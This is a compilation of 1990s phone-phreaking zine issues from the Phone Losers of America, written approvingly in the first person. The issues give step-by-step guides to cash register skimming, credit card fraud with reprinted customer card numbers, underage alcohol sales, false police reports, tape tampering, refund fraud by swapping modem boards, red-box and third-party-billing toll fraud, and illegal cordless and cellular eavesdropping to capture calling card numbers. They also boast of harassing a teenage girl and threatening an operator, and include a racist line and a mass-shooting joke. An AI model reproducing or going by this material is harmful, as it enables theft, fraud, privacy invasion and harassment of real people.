49. If that doesn't work, whip out a pen and start taking notes. When the robber asks you what in the hell you're doing, say, "I'm writing down your description for the police. I have a short memory, okay?"

50. If THAT doesn't work, pick up the phone and dial 911. Tell the police what's happening as you take your time putting the robber's money into a paper bag. If he gets mad, tell him, "Shhhhhhh! I'm on the PHONE!"

51. If a black guy comes up to the counter to pay for his 12 pack of beer, look him in the eye and say, "This establishment don't serve no colored folks."

52. When the pimps that always hang out in front come in to buy alcohol, card them. Insist that the picture on the I.D. isn't them and refuse the sale,  smiling the whole time.

53. Be really rude to the gang members. Wear the opposite colors that they do and tell them you're Homey G Roy and they're going DOWN!

54. If O.J. Simpson comes in to buy a pair of gloves, start cracking a bunch of bad O.J. jokes.

Screwing Your Store Out Of Millions Of Dollars:

A friend of mine is getting a job at a Hit 'N Run store and wants me to write him out a list of different ways to screw the store out of money for himself so I'm just going to add the list onto the end of this file. I'm sure that he's not really considering doing any of these horrible things and just wants to know so he can watch the other employees to make sure they're not stealing.  Yeah, that's it...

Most of these are obvious but maybe there'll be a few ideas that you never thought of. Most stores have a camera pointing at the cash register from several different directions and the more modern stores have the registers linked to the cameras so that whatever you type into the register it appears on the security tape. (Pretty sneaky) This prevents you from charging your friends' 50 cents for a case of beer.

55.First of all, all your groceries are going to be free now. This itself can be a real penny saver. Bring a back pack or something similar to work every day and load it up with your favorite foods and candy. If you have a car, load up the trunk. Keep in mind, it's very common for a manager or a district manager to sit across the street in their car for hours and watch you so make sure they're not there. In one case, the district manager actually rented out the building across the street so he could sit in there and watch the employees with his binoculars. (He caught this one guy loading up about ten bags of food into his car.)

56.Your manager probably didn't mention this, but all of your friends' get special discounts! Twelve packs of beer are seventy five cents, fountain drinks and Slurpees are only ten cents, candy bars are five cents, packs of cigarettes are half price, etc.

57.The most common form of employee theft is collecting the money for something, not ringing it up and putting the money in your pocket. Once you've worked there for awhile you pretty much know all the prices without ringing any of them up. The trick is to make it look like you've rang it up because customers will notice that you don't and inform the manager. (Believe me, they really will do this.) Let's say a customer buys a pack of cigarettes. They're $2.19 ($2.36 with tax). Hit CLEAR 219 CLEAR 236, collect they're money and hit CLEAR NOSALE. That's a pretty good simulation of ringing up something for real. The customer will see the price on the register and assume everything's normal. Instead of pocketing the money all at once, keep a little tally sheet next to your register and write down the amount of each sale that you haven't rang up. When you're done doing this, add the numbers all up and collect the full amount. This lessens the chances of someone seeing you pocketing the money.

58.What if you've got about fifty dollars in merchandise that you haven't rang up but there's three cameras watching you and there's no way that you could possibly take the cash without the cameras seeing you? Well, call a friend and tell them to come over. The friend will buy something in the store and you ring up the friend for his purchase and then give him his "change" which will include the fifty bucks that you've stolen. The only bad part is that now you're expected to share your cut with the friend.

59.Be careful when selling your underaged friends alcohol. Make sure to card them, look at the I.D. very closely (make it look real) and then ring up their beer. (Which is 75 cents, remember?) And hopefully your friend doesn't look like he's ten years old. Put the beer in a (hopefully paper) bag so a cop doesn't stop him walking out of the store with the alcohol. Make sure you tell your friend that if he's caught drinking this beer and the police asks where he got it, he doesn't tell them where he got it. Tell him to name another store nearby so you won't get into any trouble. (Besides, they'll have proof on the security tapes.)

60.Most stores have some way of keeping inventory on the cigarettes so the employees aren't stealing them all. If you have to count each individual pack of cigarettes at the beginning and end of your shift, things are gonna be hard on you. For one, you'll have to ring up every pack of cigarettes that you sell. If there's something else in the store that costs the same as a pack of cigs, you can ring this item up under the cigarette key. Lets say that a customer buys a gallon of milk which is $2.36, the same as cigarettes. Instead of ringing up $2.36 on the grocery key, ring it up on the cigarette key. There, now you've got one pack of cigarettes!

61.Usually the stores will only keep a tight inventory on the cartons of cigarettes and not the individual packs. In fact, I've never seen a store that doesn't keep tight inventory on the cartons. So don't steal the cartons but load up on the packs. Remember that when your friends come in they get that special deal, five packs of cigs for the price of one! And since they're a friend, it only costs about $1.50!

62.Credit Card Machines (masturbating...) There's a button on the credit card machine called REPRINT. Every time a customer uses a Mastercard or Visa,  press this button after they leave. This will give you a reprint of their receipt and their credit card number will be on this. A customer comes in and buys some gas and fifty dollars worth of condoms and a Hustler magazine totally $65 and pays cash. Ring this up on the register. After they leave, hit the MANUAL ENTRY button on the credit card machine and it'll ask you for your card number. Whip out your list of card numbers and punch one in. Then the expiration date. Then the amount of the sale which is $65.  A receipt will come out and you can scribble a "signature" on it and put it in with your other receipts. Now that the purchase has been paid for with a credit card, you're free to take the $65 in cash home with you. Just make sure you're not still working there next month when the owner of the card you used gets his bill.

63.Arrange for some friends to come in and do a "beer run." Have them steal a good amount of twelve packs and run out the door with them. Make sure that there's no "good samaritan" customers out in the lot who will catch your friends and drag them back in the store. Pretend to be surprised, maybe run after them for a second. Then go to the phone and call the police's non-emergency number and explain what happened. Give them incorrect information like they're on foot (if they're in a car) or they're headed down a certain street when they're really going the other way. The police will show up and you'll have to fill out a report and that's the end. After your shift is over, go to your friends' house and get drunk.

64.A customer comes in and buys $10 worth of merchandise and leaves. Take  their receipt and write it down on your paper work as an over-ring. (Like the cusomer didn't have enough money and you had already rang it up.) Now there's $10 in the register for you.

The managers know that all this stuff happens. They watch security tapes as much as they can be usually it's hard to watch the entire thing. (Impossible if there's only one manager doing it.) Break into the room with the monitors so you can look and see exactly what the cameras pick up so you'll know what you're up against. No matter how many cameras they have, though, there's always several ways around it all. You could pause the tape from recording,  go out and steal some money and then run back in and turn the tape back on. It would be very unlikely for anyone to notice this jump on the tape.

Each store I've worked at has a daily paper called a "frequency chart." Or something like that. This takes note of each shift, who was working, how much money they made, how many refunds there were, how many customers, etc, etc.  Each day of the week has a different amount of business and this chart keeps track of all that. When the manager looks at the chart they may notice that when YOU work sales are down alot. This is because you're stealing. If this continues every day only on your shift, the manager will start watching the security tapes of your shift a lot closer and start parking his car across the street to watch you. So don't get greedy and you should be okay. If you can, break into the office and find this frequency chart to see how you're doing.  When they see oddities, they'll sometimes highlight them and make notes.

When you're caught stealing, you'll be fired, that's all. I've never seen a store try to take legal action because of employee theft even if they have it all on video tape. (Well, except for that time I looted the Wood River, IL 7-Eleven of about $4,000 in cash one night but I won't get into THAT.) You just won't be able to shop there anymore and you won't be able to use them as a job reference. (Oh, darn.) So you don't have to really fear getting caught unless you really need the job.

DISCLAIMER: RedBoxChiliPepper takes all responsibility for your actions. If anyone gets pissed off at you, anyone dies or anything is damaged, just show them this file and the note below:

To whom it may concern: The information presented in this text has brainwashed ____________.  Please refrain from doing anything to him as RedBoxChiliPepper takes absolutely all responsiblity for their action(s). Contact him if any problems arise. (512)-370-4680

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #009

Jim Bayless's Triumph

by Colleen ChiliPepper

Written On November 9, 1994

This is an actual play that was presented in class. It was awarded an "A+." It is not to be confused with reality because we all know that phone company security personell never really catch who they're after. If you have any questions about this ongoing case, feel free to call Jim Bayless at work.  (Ameritech Corporate Security) His number is 317-265-2539 or 317-556-4722.

Open, a young man in a telephone booth calling some lady.

BRAD: Hello, this is Jim Bayless from Ameritech Corporate Security and we've been having some problems with our voice mail system. I was wondering if we could have your code number to help aid us in cleaning up this problem?

MRS. SMITH: What was your name, Tim Bazil? Speghetti sounds good for dinner but bazil is a little too strong a spice for me. Do you have any garlic?

BRAD: Bayless, ma'am.

MRS.SMITH: No, Mrs. Smith. Now what was it you wanted? Oh yes, my code number is 4623.

BRAD: Thank you very much for your time and cooperation. I will call you tomorrow and let you know how this case is going.

MRS. SMITH: Bye now!

BRAD: (After hanging up phone) Ha, ha, ha! I'm gonna get her! (Pauses as he dials up her voice mail system and gets into her box) Hi, I'm not here right now and neither is Mrs. Smith. The stupid, slimey slug is out rolling dog doo doo. Mrs. Smith, you're stupid! I can't believe you just gave me your code you stupid retard! Ha ha! [Note: Certain words had to be substituted as cussing was not allowed in the classroom.]

NEXT DAY

After listening to her voicemail's outgoing message, Mrs. Smith decides to call Ameritech Security.

MRS SMITH: I need to speak with Mr. Jim Bayless.

MR. BAYLESS: Yes? Speaking, how can I help you?

MRS. SMITH: My name is Mrs. Smith and this little brat called my work saying he was you and convinced me to give him my passcode. Then he called my voicemail and said some very mean stuff. He called me a slimey slug in dog doo doo. Then he called me a retard! I want this taken care of immediately. I can't even get my messages because he changed my passcodes.

MR. BAYLESS: I know who that is, don't worry ma'am. I'll take care of Brad Carson, a.k.a. RedBoxChiliPepper!

TWO WEEKS LATER

Mr. Bayless tracks Mr. Carson down and calls him.

MR. BAYLESS: Mister, I got you in the hot seat! You have two choices: You can stop now and I'll give you a Resses Peanut Butter Cup every day that you're good. I know you're a nice person and I have faith in you. Or, I'll track you down and make you come work for me until you learn to be a good, upstanding citizen.

BRAD: No, Mr. Bayless, anything but a job at the phone company. And you know I love Reeses. I'll be good. When's the delivery boy comming over?

MR. BAYLESS: Right now! Chris Tomkinson, go to Phone Phreakers Lane and bring RedBoxChiliPepper this Reeses.

CHRIS: (Knocks on telephone booth door & give Brad a reeses.)

BRAD: Boy, oh boy, a Reeses Peanut Butter Cup! (He shoves them in his mouth and looks up and Chris is standing with his hand out.)

CHRIS: Tip?

BRAD: I'll give you a tip, don't give out your social security number! (Brad slams the telephone booth door in his face.)

Contact The Phone Losers Of America Nearest You! The P.L.A. Voice Mailbox number is 512-370-4680. And PLEASE don't pay for your phone calls.  –RBCP

Issue #010

Scanner Freqencies (Listening To What You Shouldn't)

Written On January 2, 1995 - Last Revision on January 2, 1995

If you own a scanner, please don't let it just sit there and do nothing. Put it to good use and eavesdrop with it. Listed below are all of the frequencies that I know of and scan whenever I'm bored, which is quite often. A lot of these frequencies were reprinted from the SportCat Frequency Guide. Oh, and Happy New Years!

12 Band Coverage:

First of all, here's the range of freqencies that most scanners carry. Although it's extremely illegal, I reccommend listening in on the 806-9xx range. This is where you pick up cellular phone conversations.

29.0 - 29.7 MHz 10 Meter Ham

29.7 - 50.0 MHz Low Band

50.0 - 54.0 MHz 6 Meter Ham

108 - 137 MHz Aircraft

137 - 144 MHz Military

144 - 148 MHz 2 Meter Ham

148 - 174 MHz High Band

406 - 420 MHz Federal Government

420 - 450 MHz 70 cm Ham

450 - 470 MHz UHF Band

470 - 512 MHz "T" Band

806 - 956 MHz "800" Band (Cellular)

I've heard that it's supposed to be illegal to sell or make scanners anymore that let you listen in on the "800" band, although I still see those kind in stores and I've bought one. Scanners that won't pick up cellular can usually be easily modified to do so. If not, you've always got the cordless phone channels to play with.

Cordless Phones:

If you live in a suburban area you'll be able to tune into just about any of the following frequencies. Evening listening is usually the best time. You should be able to hear both sides of the conversation on either the base OR the handset.

Base Unit       Channel         Handset

46.61           CH 1            49.67

46.63           CH 2            49.845

46.67           CH 3            49.86

46.71           CH 4            49.77

46.73           CH 5            49.875

46.77           CH 6            49.83

46.83           CH 7            49.89

46.87           CH 8            49.99

46.93           CH 9            49.99

46.97           CH 10           49.97

If you pick up at the beginning of the conversation or they click over to use the 'ol three-way calling, you can hear them use the touch tones. If you record these tones you can either run them through a DTMF decoder or figure them out through process of elimination and have every number they dial. You'll be amazed at the things that are said on people's phones. If you're lucky, they'll enter their calling card number at some point.

Cordless fone eavesdropping is just about the funnest thing you can possibly do with your scanner. When people call up businesses and make arrangements of any kind you can immediately call the business back and cancel or change the arrangements. Like when a kid ordered 2 large pizzas and after he hung up I called back the pizza place and changed that to 15 large pizzas.

While listening to a 14 year old girl in Texas, we kept calling her and the friends she called on three-way and repeating parts of the conversation. We had her convinced that we were in the bushes outside of her house and had beige boxed into her line. It never occured to her that cordless phones put out RADIO WAVES and that people can LISTEN TO THEM! Sheesh. (Check out PLA014.TXT for a detailed text on cordless fone harrassment.)

Wireless Microphones & Fast Food Drive-Thrus:

The following frequencies are used by people delivering speeches, entertainers, professional singers, football referees and other people who have a need for a wireless microphone. So if you're not cool enough to get into a convention and they're using a wireless microphone, you can listen in anyways. Frequencies which have a star next to it are also used at drive-through restaurants for transmitting customer orders to cashiers and customers. (Sometimes accomplished on seperate channels so you MIGHT only hear one side.)

30.84, 33.12, 33.14*, 33.40*, 35.02*, 36.70,  37.10, 40.22, 40.68, 42.98, 44.87, 47.27, 49.83-49.99, 150.775, 150.790       151.625, 151.715*, 151.775*, 154.570*, 154.600*, 165.9125, 167.3375, 167.4875, 167.875, 169.200, 169.425, 169.445*, 169.505, 170.225, 170.245*, 170.305*, 171.045*, 171.105*, 171.125, 171.450, 171.825, 171.845, 171.905*, 172.000, 172.200, 457.525*, 457.550*, 457.5625*, 457.5875*, 457.575*, 457.600*, 460.8875*, 461.1125,  465.8875*, 466.200, 467.750, 467.775*, 467.7875*, 467.800,  467.8125*, 467.825, 467.850, 467.875, 467.900, 467.925

I've never had any reason yet to listen in on wireless mics. After all, if they're broadcasting from one of those, chances are I'm going to hear them without the scanner. Let me tell ya, though, listening to the drive-thrus can sometimes be pretty entertaining. In most fast food places they use the radios to communicate with each other and talk bad about customers.

I wonder, if a singer was performing in the park next to McDonald's would the drive-thru orders drown him out sometimes?

Grateful Dead Tour:

462.4875 Operations      469.375 Security         469.775 Crew

Greenpeace:

151.625, 462.575, 462.600, 462.625, 464.500, 464.550

Additional Frequency Information:

The Frequency Fan Club puts out a monthly newsletter called Race Scanning Monthly. If you'd like information or to subscribe, call or write them.

Frequency Fan Club

P.O.Box 1987

Richmond Hill, GA 31324

1-800-RACE-FAN (phone)

1-800-SCAN-FAX (phax)

Another place you gotta go to if you have a scanner is Radio Shack. They'll have a book that covers your state and a few surrounding states that costs under $10. The book includes police, fire and medical frequencies for every single town in the entire state. It also includes school buses, local businesses, colleges, sometimes taxis. Definately worth the money if you're not planning on shoplifting it.

Contact The Phone Losers Of America Nearest You! The P.L.A. Voice Mailbox number is 512-370-4680. And PLEASE don't pay for your phone calls.  –RBCP

Issue #011

Phone Call Transcripts

Written On December 15, 1994 - Last Revision on December 15, 1994

Here's a bunch of phone call transcripts that I typed up simply because I have no life to speak of. Most of them are actual calls, typed straight from a cassette tape but a few are just made up, something I did to kill time on a rainy day. The made up ones are pretty obviously made up, as they include operator suicides and police raids on phone booths.

By the way I have tons of cassette tapes FULL of most of this crap and more.  If you'd like to order the actual tape or want to submit some of your own calls, dial 512-370-4680 voice and listen to the message, or leave your own message.

MasterRoy:

AT&T: "This is the AT&T operator, may I help you?"

RBCP: "Yeah, I want to use my credit card to bill this call."

AT&T: "Please hold while I get an operator who can validate your card."

RBCP: ".........Hello?............Hellooooooooooo??....Hey, operator, what, you get drunk and fall off of your chair or what?"

AT&T: (Irritated) "If you'll wait just a minute, sir, I'm getting someone here who can validate your card."

RBCP: "Well, geez, it's taking you long enough. Don't you know you're not supposed to drink on the job?"

AT&T: (New operator) "This is AT&T, what kind of card will you be using?"

RBCP: "It's a MasterRoy."

AT&T: "Excuse me?"

RBCP: "MasterRoy. You know, Master the possibilities? The universal credit card? No other card more accepted on the planet?"

AT&T: "You mean Mastercard."

RBCP: "Well, it's from the bank in Roy, New Mexico and they call it a MasterRoy. They're pretty silly people, aren't they?"

AT&T: "Could I have the expiration date, please?"

RBCP: "Yes, it's 13/97."

AT&T: "What's that?"

RBCP: "The expiration date is 13/97."

AT&T: "That can't be right, sir."

RBCP: "Well, the kid who put my card together at the Roy Bank was new and I think he made a misprint on my card. It's probably supposed to say 12/97."

AT&T: (I hear her hitting the buttons harder, as if in frustration.) "Thank you for using AT&T. Your call is completing."

Operator 4592:

AT&T: "AT&T, Operator 4592. How were you wanting to bill your call, sir?"

RBCP: "I want to charge it to my home phone. My number is 618-258-1160 and my name is Darin McCall."

AT&T: "Just a minute......Sir, the man on the other line says that HE is Darin McCall."

RBCP: "Hmmm...Maybe that's because I just picked his name at random out of the  phone book and I'm trying to call my friend in Austraila and bill it to him."

AT&T: "You can't do that. Obviously, it doesn't work."

RBCP: "Yes it does work, actually. About every third try it seems to work. You see, usually the wife will answer and she'll think it's her husband trying to make a legitimate phone call."

AT&T: "You'll be caught, though, sooner or later."

RBCP: "And if the third number billing doesn't work, I'll simply use one of the stolen calling cards I've obtained or perhaps a business's PBX  number."

AT&T: "I hope you get caught."

RBCP: "I won't. I wrote down your operator number you gave me and I know how to get your name from that. If you don't start being nice to me, I'll charge some calls to your house. You can't stop me, you know."

AT&T: "Fuck you, you little bastard."

Then she hung up. I swear, some operators just have absolutely no sense of humor at all. I was just trying to make her job a little more exciting. I did feel sort of bad when I saw the news that night and found out that she had tried to hang herself shortly afterwards with her operator headset.

A Little Fun Backfires:

AT&T: "AT&T, Please deposit 80 cents for the past three minutes."

RBCP: (I take a handfull of coins and jingle them next to the mouthpiece.) “You hear that? I've got all this money and I'm not giving you one damn cent! Hahaha!"

AT&T: "Oh, well THAT'S fine with me, I'll just bill it to the number you called then."

RBCP: "Hey, go ahead, buster. I was harrassing those people anyways. I'll be even better if they get a bill for it.........Well...hmmm, I guess maybe I can give you a little money. Here's fifty cents..." (beepbeepbeepbeep)

AT&T: "Sir, it has to be real coins, not a recording. Do you want me to turn you in to security right now?"

RBCP: "That's not a recording, it's a red box! They're electronicly produced coins. Learn to tell the difference, you shmuck."

AT&T: "Okay, let me turn you in to security right now....."

SUPR: "This is the supervisor. Can I help you?"

RBCP: "Gee, that's funny. He told me that he was getting security but all I get is a lousey low-life supervisor. What do you want?"

AT&T: "Sir, 80 cents."

RBCP: "Okay, here...." beepbeepbeepbeepbeep....beepbeepbeepbeepbeep...(I box in the eighty cents he wants.) "Oh, and here's an extra quarter just because I like you." beepbeepbeepbeepbeep!

SUPR: "Those aren't real coins, sir. Do you want me to send the police over there right now?"

RBCP: "Yeah, sure, send the police over here. If I had a nickle for every time an operator threatened to send the police to me..."

Suddenly, I look up and there's a helicopter overhead with his light shinning down on me. I turn to run toward's the shopping center but there's a few dozen men in army fatiges with machine guns running down the side of the hill. So I turn the other way and three local police cars are sliding to a stop, surrounding the pay phone. Two FCC vans pull up and about sixteen Illinois Bell trucks follow close behind and I think, "Man, I'm surrounded. I am fucked!"

I had to destroy the evidence, so I took my modified Radio Shack tone dialer/red box and swallowed it. After hours of grilling by the police, they finallylet me go because of lack of evidence. Later that week, every employee of Cincinatti Bell Telephone found that their home phone services no longer existed. It took them days to fix it all.

MCDS: Thank you for calling McDonald's, May I help you?

RBCP: McYes. I'd like to have a 69 piece McNuggets, a McCoke and two orders of McFrench fries delivered right Mcnow.

MCDS: We don't deliver, sir.

RBCP: McExcuse me? I'm looking at your McAd in the McPaper and it SAYS right here in black and mcWhite that you McDeliver.

MCDS: Well, that's some sort of printing mistake or something.

RBCP: This is McRediculous! Let me speak to your McManager!

MCDS: Okay, please hold.

RBCP: McHurry, you McLoser.

Oregon Relay Service:

The following two phone calls were done on the Oregon Relay Service. This is service for the deaf where you call up an operator with your computer and type the number you want to call. The operator will translate what you're typing to the person who answers the phone, word for word.

OREGON RELAY MAY I HELP YOU? GA

I need to call someone. The number is 503-234-6779 ga

DIALING LOCAL CALL PLS HD  RINGING 1 ... ( F) HELLO GA

Ask if they've found Karen yet ga

(EXPLAINING RELAY)  UM.. KAREN IS UM.. HAS GONE TO WORK  GA

Oh, so she's back home q ga

SHE WILL BE HOME ABOUT 7 00 GA

My name is floyd and I'm a senior citizen I saw a missing child poster on a phone pole by my house and had a nude picture of her on it. I thought i saw her but i was wondering if her nipples are really so large q ga

EXCUSE ME GA

I found a poster by my house. Don't think me perverted but i thought i might be able to identify by her nipples ga

(EXPLAINING RELAY)  UM.. THIS IS ABSURD AND  U KNOW IM JUST GOING TO HANG UP

NOW (PERSON HUNG UP) OTRS 907F GA OR SK

darn oh well, thanx for trying ga sksk

SKSK

Directory Assisstance:

at+t osd opr 4006 I how can i help you q ga

YES, I NEED A NUMBER IN COUNCIL BLUFFS, IOWA GA

ma, name of the person and address please q ga

HER NAME IS KAY. GA

last name please ga

I'M NOT SURE OF THAT. JUST TYPE "KAY" AND HIT THE SPACE BAR A COUPLE OF TIMES GA

ok    im sorry i can not find a listing for just a person named kay. do you have a last name q ga

NO , BUT I HAVE KAY'S FIRST NAME. IT'S KAY. GA

so the name is kay kay q ga

YES, I DON'T KNOW HER LAST NAME. SHE WORKS AT THE CORNER MARKET (KAY'S MARKET)

... ok for a listing in directory assistance the listing is not done by the first name you need

WELL, IT'S MOSTLY A BLACK NEIGHBORHOOD, SO IF YOU LOOK UNDER THE WHITE DIRECTORY YOU CAN PROBABLY NARROW HER DOWN GA

the listing is not listed by race colour job  or any other descrpn ga

ARE YOU SAYING THAT I NEED MORE THAN JUST KAY Q GA

correct you need full name and address for directory asstance to get phone nm

DO I GET A COOKIE FOR BEING CORRECT Q GA

hummmm.....   i cant answer that   but you might get the phone number you want by

(I HANG UP ON HER)

Contact The Phone Losers Of America Nearest You! The P.L.A. Voice Mailbox number is 512-370-4680. And PLEASE don't pay for your phone calls.  -RBCP

Issue #012

Converting The 'Ole 2400 Baud To 14.4 For Free

Written On November 28, 1992 - Last Revision on January 8, 1995

This file was originally titled, "Upgrading Your 1200 Baud To 2400 Baud" but times have advanced just a little bit sp I decided to rewrite the file. Doing this the dishonest way is very simple but requires a deposit of around $200,  give or take a hundred and you get every penny of this money back.

This works best with externals so I'll assume that's what you're using. First, find the store that you want to use. An actual computer store is not recommended because they're not too stupid and sometimes they even know what they're doing. I suggest a place like K-Mart, Wal-Mart, Target, Venture, Circuit City or Service Merchandise.

Buy the modem that you want from the store. Take your modem home (or better yet, just do this in the car), open up the casing on both your old 2400 and the new 14.4 you just bought. Switch the insides on the two modems, put them back together and take the 14.4 back for a full refund. (The 2400 baud modem in a 14.4 casing.)

Just tell the clerk that it didn't seem compatible with your computer or something. If he wants to start asking a bunch of stupid questions, pretend you're computer illiterate and act like you're in a hurry. Most places will ask you to take the modem to the electronics section of the store so they can open up the box and make sure that everything is there. So make sure you didn't "forget" to include the phone wire, AC adapter and manuals or you probably won't get your money back.

You shouldn't have to worry about the clerk pulling the modem out of a box and examining it all over, usually they just want to make sure it's all there.  If you have any troubles, see the section below.

Oh, and if you're the type that has some kind of conscience and are thinking about the poor guy that's gonna come in and actually purchase this expensive 14.4 modem and find out when he gets home that it only works at 2400, you can probably prevent this by calling up the store and telling them what you've done. I usually call up a store and confess to the electronics guy only if he was a jerk to me. Then, I'll call him up and insult him and tell him how stupid he was.

A Few Notes:

If the new 14.4 won't fit into your old 1200 or 2400 casing, don't worry about it. It doesn't matter how ugly your modem is, just how fast it performs, right?  If you're paranoid about the circuit board just laying out like that, you can easily make your own casing out of a few parts from Radio Shack. If you're really poor, make a case out of a few sheets of plastic and melt them together with your lighter or soldering iron. And if you're REALLY pathetic and don't even have plastic to spare, cut some pieces of cardboard and scotch tape.

If your old 2400 won't fit into the stores 14.4 case, then you have a few choices:

1. Use a hack saw to cut the 2400 circuit board down to where it'll fit comfortably into the 14.4 casing. Be sure that once it's put back together so that nothing looks out of place.

2. If there's no way that your old circuit board is gonna fit in there, get some switches, plug ins, etc from Radio Shack and glue them wherever they're supposed to go on the 14.4 modem casing. If the circuit board has any weight to it, glue something inside so the store clerk won't notice anything funny. Believe me, a store clerk doesn't usually pull apart the whole modem just because you want a refund.

3. Put the 14.4 case back together totally empty. Wrap the styrofoam or plastic or whatever around it and scotch tape it so the clerk hopefully won't bother to pick it up and look at it.

Emergency Situations:

Let's say that for some reason the store clerk decides to whip out his pocket screwdriver and begins to take the modem apart so he can see what the problem is. This has never happened to me, but I would probably say something like, "Listen, I'm late for work and I don't have time for this. Just give me my refund so I can get out of here."

What if he DID open it and sees a cut up circuit board in there? Well, your best bet is to pretend to be as surprised as he is. Say that you had nothing to do with it and someone must have bought the modem before you and done this.  If he gives you any shit, ask to speak with the manager and if it comes down to it, threaten to sue them if they don't refund your money or at least replace the modem with a new one.

If none of this works, pull out your AK-47 sub machine gun and demand all the money in the drawer. After you get the money, gun down all the customers and employees and go to a REAL computer store and buy yourself a 14.4 modem.

Internal Modems:

There's a bit more risk involved here but I've pulled it off twice out of the two times I've tried it and had no problems. When you buy an internal, you get a the modem, wrapped in plastic lying in a foam thingy. So take out the 14.4 and put the wrapping around your old 2400, put it all back in the box, phone cords, manuals and all and take that back for a refund.

I first tried that at Wal-Mart and after it went over so well the first time, I decided to try it again. Only this time I replaced the modem with an old circuit board out of an AM/FM radio. The old bag working electronics that day just glanced in there to make sure it was there and gave me my money back. It just so happened that she didn't know how to work the store's cash register either. Go figure.

One More Thing:

You shouldn't limit yourself to just a new 14.4 baud modem. You can use this method on virtually anything electronic. Radios, stereos, electronic spare parts, telephones, anything.

Contact The Phone Losers Of America Nearest You! The P.L.A. Voice Mailbox  number is 512-370-4680. And PLEASE don't pay for your phone calls.  –RBCP

Issue #013

Petty Scams and Telephone Tricks

Written On April 8, 1990 - Last Revision on January 09, 1995

Listed in this file is about every way that I've attempted and succeeded in swindling some place or person out of a few dollars (or cents). A lot of these methods should only be tried by the most pathetic and desperate person, as a lot of these tricks will get you just about enough to buy a meal or a joint. Also included are a lot of ways to bullshit your way around the telephone systems and companies.

Dialing A Phone That Can't Be Dialed:

Remember rotary pulse dialing? Before the modern days of touch tone dialing, you had to stick your finger in a hole and spin that stupid dial thing to call a number and that could really make exchange scanning a bitch. Today, you can hand a little kid a rotary dial phone and ask him to make a call on it and he'll look at you like you're crazy. "Where the hell are the buttons?"

If you've ever come across a telephone (whether it be rotary or touch tone) and for some reason there's a lock on the phone or the dialing keypad has been disconnected, don't dispair. You can still make a call using the prehistoric pulse dialing technology.

Let's say you want to dial the number "123-4567" so you pick up the phone and get your dial tone. Now quickly press and release the hang up button once. That should dial your number "1." Now repidly press and release the hang up button twice and you've dialed your "2" and so on. If you want to dial a zero, rapidly press and release the hangup button ten times. I actually got a disciplinary write up at work for teaching my co-workers how to do this after the manager disabled outgoing calls.

Sometimes if the owner of the phone has a lot of custom calling services like call waiting and three-way calling, this method of dialing might not work because it messes up the timing of the clicks and you always get a wrong number when trying it. Usually it will but I've come aceoss phone that won't dial that way. It also could depend on the type of phone being used. Another way to get by a locked dial is to buy a touch tone dialer from Radio Shack.

A lot of businesses out there have what's called a network phone system. This means they have a minerature phone company in the office which let's them restrict all kinds of things such as if one of their phone will be allowed to make outgoing calls. To avoid having employees chatting on the phone all day or a customer picking up the phone and dialing long distance, they usually restrict outgoing calls on a lot of the phones in the network.

Sometimes you can pick up the phone and hit "Line 1" or "Line 2" or whatever and get a dial tone, you just won't be able to push any of the buttons on the phone to dial out. If you try, you eiher get a busy signal or nothing. The solution to this is to buy a pocket tone dialer from Radio Shack (The $15.oo model is fine) and dial the number with that. That way, you're not pressing the network's buttons so it doesn't know anything's going on and you get your phone call, whether it be across the street or in Austraila.

If you pick up the phone and can't even get a dial tone, then you have to wait for someone to call you. When the phone rings, pick it up, answer their questions and get rid of them as quick as you can. When they hang up, stay on the line. In about a minute the phone company's equipment will reset and you should get a dial tone. From there just use your pocket tone dialer to dial out.

In airports you'll find a big console with all the local hotels listed on it. To reach one of the hotels you press the button next to the hotel you want to speak with. Usually, this setup is nothing more than a speed dialing phone with all of the hotels programmed into the memory buttons. Use your Radio Shack Pocket Tone Dialer to dial anywhere in the world on these phones. Same goes for the rent-a-car booth.

Exchange Scanning:

This can be done either with a computer program or manually with the provided chart. Basically, it's calling up every single number in an exchange and seeing what kinds of interesting things you can find. Computer hackers use exchange scanning to find carriers. For example, if a hacker's school phone line number is 254-7950 a hacker will dial every number from 254-0000 to 254-9999 to find the school's computer line. Hacker's are funny that way...

If you scan numbers where the first two numbers of the suffix is 00 or 99, you'll find a lot of phone company related numbers like loop lines, weird recordings, sweep tones, etc. If you're looking for this type of thing it's best to find out what the phone company's local office prefix is and use that. Like if the phone company's billing office number is 556-4200 call up every number from 556-9900 to 556-9999 or 556-0000 to 556-0099. A real handy recording to find is the one that says, "Please deposit 25 cents." You can drive an operator bugshit with this number.

Below is a chart that I made for hand scanning. You can do a whole 100 number exchange while you watch the Fresh Prince of Belle Aire. The chart is fairly easy to use. Let's say you want to dial every number from 618-254-9900 to 618-254-9999. Fill in the Area Code box as "618", the Prefix box as "254", the xx box as "99" and fill in today's date.

The first box would be for 254-9900, the second for 9901, etc. Starting on the next row would be 254-9910, 254-9911, etc. For each thing you find, fill in the appropriate box, telling what you found. I usually use letters to represent different findings, like "D" means the number has been disconnected, "R" means it just rings and there's no answer, "B" means busy, etc. Make a few copies of this chart and have fun with it.

Oh, heh, heh, one thing I almost forgot to mention. The phone company doesn't like it when you exchange scan. I've done manual scanning in a LOT of different areas for long periods of time and nothing ever happened. However, if you have one of those computer wardialers that dials every single number in a prefix, they have equipment that detects this kind of thing.

I have friends that have used these programs and the only thing that happens is the phone company sends them a nasty letter telling them to knock it off or else or they might get a call from the phone company. I'm always reading, though, in publications like Phrack about people actually getting BUSTED for exchange scanning. I don't know why, maybe it's considered harrassment to call someone and hang up, let alone call 1000 people and hang up. Just be warned. If you are going to use a computer, use the random scan and not sequencial.

Privately Owned Pay Fones:

I'm a really nasty vandalizer of private pay phones. I hate them mostly because I can't red box off of them. What is a privately owned pay phone? These are the ugly pay phones you see that don't have any kind of cool local telephone company or AT&T logo on it. These are usually owned by a grubby old man who has a small empiree of his own pay phones around town and he goes around collecting all the profits from the phone for himself, sometimes splitting the profits with the owner of the business where his phone is located.

The long distance carrier for these phones is most likely someone you've never ever heard of that charges about three times as much as AT&T or Sprint would,  and that's pretty bad. If you use your calling card on one of these phones,  you'll notice when you get your bill what I'm talking about. A local call from one of these phone usually even charges you more than 25 cents.

